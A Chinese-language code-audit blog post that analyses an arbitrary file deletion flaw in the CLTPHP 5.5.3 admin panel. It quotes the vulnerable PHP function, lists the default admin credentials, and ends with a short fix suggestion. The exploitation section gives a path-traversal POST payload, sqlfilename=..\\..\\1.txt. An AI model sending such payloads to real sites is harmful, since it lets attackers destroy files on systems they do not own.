【代码审计】CLTPHP_v5.5.3后台任意文件删除漏洞分析

 

0x00 环境准备

CLTPHP官网:http://www.cltphp.com

网站源码版本:CLTPHP内容管理系统5.5.3版本

程序源码下载:https://gitee.com/chichu/cltphp

默认后台地址: http://127.0.0.1/admin/login/index.html

默认账号密码: 后台登录名:admin  密码:admin123

测试网站首页:

0x01 代码分析

1、/app/admin/controller/Database.php  第221-248行:

  1. public function delSqlFiles() {  
  2.     $batchFlag = input('param.batchFlag', 0, 'intval');  
  3.     //批量删除  
  4.     if ($batchFlag) {  
  5.         $files = input('key', array());  
  6.     }else {  
  7.         $files[] = input('sqlfilename' , '');  
  8.     }  
  9.     if (empty($files)) {  
  10. 10.         $result['msg'] = '请选择要删除的sql文件!';  
  11. 11.         $result['code'] = 0;  
  12. 12.         return $result;  
  13. 13.     }  
  14. 14.   
  15. 15.     foreach ($files as $file) {  
  16. 16.         $a = unlink($this->datadir.'/' . $file);  
  17. 17.     }  
  18. 18.     if($a){  
  19. 19.         $result['msg'] = '删除成功!';  
  20. 20.         $result['url'] = url('restore');  
  21. 21.         $result['code'] = 1;  
  22. 22.         return $result;  
  23. 23.     }else{  
  24. 24.         $result['msg'] = '删除失败!';  
  25. 25.         $result['code'] = 0;  
  26. 26.         return $result;  
  27. 27.     }  

28. }  

在这段函数中,参数sqlfilename未经任何处理,直接带入unlink函数中删除,导致程序在实现上存在任意文件删除漏洞,攻击者可通过该漏洞删除任意文件。

0x02 漏洞利用

1、 在根目录新建test.txt,作为漏洞测试文件

 

2、 构造URL,成功删除根目录的1.txt文件

http://127.0.0.1/admin/Database/delSqlFiles.html

POST: sqlfilename=..\\..\\1.txt

 

0x03 修复建议

1、对于要删除的文件,通过正则判断用户输入的参数的格式,看输入的格式是否合法。

最后

欢迎关注个人微信公众号:Bypass--,每周原创一篇技术干货。 

 

猜你喜欢

转载自www.cnblogs.com/xiaozi/p/10053126.html